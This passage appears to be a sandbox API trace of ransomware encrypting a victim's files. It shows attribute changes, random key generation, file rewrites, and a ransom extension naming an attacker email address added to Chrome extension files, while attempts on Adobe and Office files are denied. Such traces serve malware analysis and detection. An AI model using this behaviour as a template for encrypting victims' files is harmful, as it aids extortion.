(HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af000) returned 1 [0171.047] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd511880) returned 1 [0171.055] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd505078) returned 1 [0171.056] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8968) returned 1 [0171.056] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26b0) returned 1 [0171.056] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1b) returned 0x9af000 [0171.056] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.056] WriteFile (in: hFile=0x580, lpBuffer=0xd4ca080*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x24efd5c, lpOverlapped=0x0 | out: lpBuffer=0xd4ca080*, lpNumberOfBytesWritten=0x24efd5c*=0xff, lpOverlapped=0x0) returned 1 [0171.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ca080) returned 1 [0171.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef38) returned 1 [0171.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af3e8) returned 1 [0171.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af000) returned 1 [0171.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0171.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee70) returned 1 [0171.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed80) returned 1 [0171.058] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee48) returned 1 [0171.058] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x154) returned 0x9295d8 [0171.058] wcscpy (in: _Dest=0x9295d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" [0171.058] wcscat (in: _Dest=0x9295d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.mailto[2Hamlampampom@cock.li].cd46d" [0171.058] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x24efd14, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0171.058] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x16a) returned 0x909b10 Thread: id = 6092 os_tid = 0x1d54 [0169.562] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js")) returned 0x2020 [0170.779] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js", dwFileAttributes=0x20) returned 1 [0172.283] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x840 [0172.284] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x311fac8 | out: lpFileSize=0x311fac8*=4355) returned 1 [0172.284] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x10ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.284] ReadFile (in: hFile=0x840, lpBuffer=0x311fa4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x311fa48, lpOverlapped=0x0 | out: lpBuffer=0x311fa4c*, lpNumberOfBytesRead=0x311fa48*=0x4, lpOverlapped=0x0) returned 1 [0172.285] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.285] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945640 [0172.285] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945848 [0172.285] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945550 [0172.285] NtQuerySystemTime (in: CurrentTime=0x311fa28 | out: CurrentTime=0x311fa28*=132174899468878000) returned 0x0 [0172.285] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x59d4640a [0172.285] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x36fe6c75 [0172.285] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x2b3b6532 [0172.285] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x7d2ecb37 [0172.285] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x52cb86f7 [0172.285] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x5cbffdcd [0172.285] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x13c1d5bc [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x19c57a1d [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x7539cb99 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x50ac6f3c [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x6376dcc6 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x53e02d80 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x68d79205 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x70e98d95 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x64657e90 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x63b64a07 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x4996d569 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x1109237b [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x559873c8 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0xbd1eaeb [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x6539cecd [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x336a7b2f [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x75ad5585 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x3ff98108 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x7aafafc [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x4b2ac112 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x6a59e4b5 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x39845519 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x1a3cccb8 [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x61ef754b [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0x428235ab [0172.286] RtlRandomEx (in: Seed=0x311fa34 | out: Seed=0x311fa34) returned 0xd41e84e [0172.298] ReadFile (hFile=0x840, lpBuffer=0x12c77e00, nNumberOfBytesToRead=0x1103, lpNumberOfBytesRead=0x311fa24, lpOverlapped=0x0) [0172.299] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.299] WriteFile (in: hFile=0x840, lpBuffer=0x12d540e8*, nNumberOfBytesToWrite=0x1103, lpNumberOfBytesWritten=0x311fa20, lpOverlapped=0x0 | out: lpBuffer=0x12d540e8*, lpNumberOfBytesWritten=0x311fa20*=0x1103, lpOverlapped=0x0) returned 1 [0173.101] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af0c8 [0173.101] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed58 [0173.101] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed58) returned 1 [0173.101] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d540e8) returned 1 [0173.103] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77e00) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c4b8) returned 1 [0173.112] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0173.112] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x3f) returned 0x8d2938 [0173.113] SetFilePointerEx (in: hFile=0x840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.113] WriteFile (in: hFile=0x840, lpBuffer=0x99d320*, nNumberOfBytesToWrite=0x123, lpNumberOfBytesWritten=0x311fa88, lpOverlapped=0x0 | out: lpBuffer=0x99d320*, lpNumberOfBytesWritten=0x311fa88*=0x123, lpOverlapped=0x0) returned 1 [0173.554] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d320) returned 1 [0173.555] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2668) returned 1 [0173.555] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aed58) returned 1 [0173.555] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2938) returned 1 [0173.555] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0c8) returned 1 [0173.555] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945848) returned 1 [0173.555] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945af0) returned 1 [0173.555] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b90) returned 1 [0173.555] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x909120 [0173.555] wcscpy (in: _Dest=0x909120, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" [0173.555] wcscat (in: _Dest=0x909120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.mailto[2Hamlampampom@cock.li].cd46d" [0173.555] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x311fa40, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0173.555] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x8fe958 Thread: id = 6121 os_tid = 0x8fc [0169.614] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.esp")) returned 0x20 [0169.614] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP", dwFileAttributes=0x20) returned 0 [0169.615] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.esp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.615] GetLastError () returned 0x5 [0169.615] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.ESP", dwFileAttributes=0x20) returned 0 [0169.615] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f93a8) returned 1 Thread: id = 6122 os_tid = 0x900 [0169.616] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.euq")) returned 0x20 [0169.616] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ", dwFileAttributes=0x20) returned 0 [0169.616] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.euq"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.616] GetLastError () returned 0x5 [0169.616] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.EUQ", dwFileAttributes=0x20) returned 0 [0169.616] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9468) returned 1 Thread: id = 6128 os_tid = 0x91c [0170.010] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf")) returned 0x20 [0170.448] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0170.448] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.448] GetLastError () returned 0x5 [0170.448] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0170.448] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c68c0) returned 1 Thread: id = 6129 os_tid = 0x924 [0170.011] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf")) returned 0x20 [0170.297] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0170.297] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\signhere.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.297] GetLastError () returned 0x5 [0170.297] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\SignHere.pdf", dwFileAttributes=0x20) returned 0 [0170.297] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba368) returned 1 Thread: id = 6130 os_tid = 0x92c [0170.012] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf")) returned 0x20 [0170.298] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0170.298] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\standardbusiness.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.299] GetLastError () returned 0x5 [0170.299] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\StandardBusiness.pdf", dwFileAttributes=0x20) returned 0 [0170.299] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8dd9d8) returned 1 Thread: id = 6131 os_tid = 0x934 [0170.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml")) returned 0x20 [0170.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML", dwFileAttributes=0x20) returned 0 [0170.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn090.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.617] GetLastError () returned 0x5 [0170.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML", dwFileAttributes=0x20) returned 0 [0170.617] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c518d0) returned 1 Thread: id = 6132 os_tid = 0x938 [0170.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml")) returned 0x20 [0170.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML", dwFileAttributes=0x20) returned 0 [0170.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn092.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.618] GetLastError () returned 0x5 [0170.618] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML", dwFileAttributes=0x20) returned 0 [0170.618] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b73a0) returned 1 Thread: id = 6133 os_tid = 0x944 [0170.014] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml")) returned 0x20 [0170.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML", dwFileAttributes=0x20) returned 0 [0170.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn095.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.620] GetLastError () returned 0x5 [0170.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML", dwFileAttributes=0x20) returned 0 [0170.620] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7758) returned 1 Thread: id = 6134 os_tid = 0x948 [0170.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml")) returned 0x20 [0170.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML", dwFileAttributes=0x20) returned 0 [0170.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn096.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.621] GetLastError () returned 0x5 [0170.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML", dwFileAttributes=0x20) returned 0 [0170.621] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7978) returned 1 Thread: id = 6135 os_tid = 0x960 [0170.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml")) returned 0x20 [0170.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML", dwFileAttributes=0x20) returned 0 [0170.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn097.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.622] GetLastError () returned 0x5 [0170.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML", dwFileAttributes=0x20) returned 0 [0170.622] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7a00) returned 1 Thread: id = 6136 os_tid = 0x478 [0170.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml")) returned 0x20 [0170.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML", dwFileAttributes=0x20) returned 0 [0170.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn102.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.624] GetLastError () returned 0x5 [0170.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML", dwFileAttributes=0x20) returned 0 [0170.624] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b7a88) returned 1 Thread: id = 6137 os_tid = 0x170 [0170.017] GetFileAttributesW 